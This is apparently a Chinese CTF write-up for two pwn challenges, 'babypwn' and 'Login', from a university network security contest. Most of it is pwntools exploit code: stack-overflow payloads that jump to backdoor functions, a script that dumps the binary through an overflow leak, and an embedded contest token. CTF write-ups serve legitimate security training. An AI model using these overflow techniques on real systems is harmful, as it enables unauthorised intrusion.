高校网络安全管理运维赛 pwn wp
高校网络安全管理运维赛 pwn wp
babypwn
思路
有后门,匹配完直接打栈溢出
exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
#context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=remote('prob07.contest.pku.edu.cn',10007)
#p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
def duan():
gdb.attach(p)
pause()
ret=0x000000000040101a
ru('Please input your token: ')
sl('218:MEQCIFyi0aQWVbpi6B9HtuW9s3-HEnqV0y9Kp2JHwq_q5d0VAiB3zRFQjAnPUZ3Fv-eGyuSemSb4KE9Y6BjTBH9MLVA8lQ==')
ru('Enter your username: ')
s('root\0')
ru('Enter the password: ')
pl='!@#$%^&*()_+'+'\0'*0x10
pl=pl.ljust(0x30,'\0')
pl+=p64(ret)+p64(0x40117A)
sl(pl)
itr()
Login
题目描述
在端口扫描结果中,你发现了一个奇怪的开放端口,可以通过ncat进行交互。然而你并没有找到任何相关信息,你可以破解它嘛?
在一片神秘的网络上,有一座被称为“赛博之城”的地方。这座城市的居民都是一些数字生命体,他们生活在一个由0和1构成的世界里。赛博之城有着严密的防御系统,任何试图闯入的非法分子都会被毫不留情地拒绝。然而,这座城市里隐藏着一个传说,那就是在城市的深处,有一个神秘的宝藏,得到它的人将能获得巨大的力量。
作为一名赛博淘金者,你一直在寻找传说中的赛博之城。经过长时间的努力,你终于找到了这座城市的入口。然而,在你试图进入时,却被城市的防御系统发现并拒绝。你不甘心就此放弃,于是决定寻找其他入口。
在一次偶然的端口扫描中,你发现了一个奇怪的开放端口。端口上有一个登录入口,似乎与赛博之城的某个后台系统有关,但却没有任何相关信息。你觉得这是一个机会,于是决定尝试破解这个端口……
思路
连接之后发现要输入用户名和密码
试了试也没有格式化字符串
多次尝试后发现在password后溢出就能泄露内存
从如下几图可以大胆猜测,基本上整个程序都被输出了
所以直接写一个dump的脚本,看看能不能把程序dump下来
ru('Username: ')
sl('admin')
ru('Password: ')
sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
ru('Core dumped\n')
a=p.recv()
b=p.recv()
c=p.recv()
d=p.recv()
e=p.recv()
bin=a+b+c+d+e
with open('dump_bin','wb') as f:
f.write(bin)
dump下来了完整的程序
从panic函数也可以验证,确实把整个程序都printf了
然后在login里面可以看到漏洞点
很明显的栈溢出
然后也有后门,所以就直接写脚本打
dump.py
因为泄露的很多,所以多用几次recv()接收一下
import os
import sys
import time
from pwn import *
from ctypes import *
import binascii
context.os = 'linux'
context.log_level = "debug"
context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=remote('prob04.contest.pku.edu.cn',10004)
ru('Please input your token: ')
sl('218:MEQCIFyi0aQWVbpi6B9HtuW9s3-HEnqV0y9Kp2JHwq_q5d0VAiB3zRFQjAnPUZ3Fv-eGyuSemSb4KE9Y6BjTBH9MLVA8lQ==')
ru('Username: ')
sl('admin')
ru('Password: ')
sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
ru('Core dumped\n')
a=p.recv()
b=p.recv()
c=p.recv()
d=p.recv()
e=p.recv()
bin=a+b+c+d+e
with open('dump_bin','wb') as f:
f.write(bin)
p.interactive()
exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
#context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=remote('prob04.contest.pku.edu.cn',10004)
ru('Please input your token: ')
sl('218:MEQCIFyi0aQWVbpi6B9HtuW9s3-HEnqV0y9Kp2JHwq_q5d0VAiB3zRFQjAnPUZ3Fv-eGyuSemSb4KE9Y6BjTBH9MLVA8lQ==')
ru('Username: ')
sl('admin')
ru('Password: ')
pl='1q2w3e4r\0'
pl=pl.ljust(0x98,'\0')
pl=pl+p64(0x40127E)
sl(pl)
itr()
0 条评论
可输入 255 字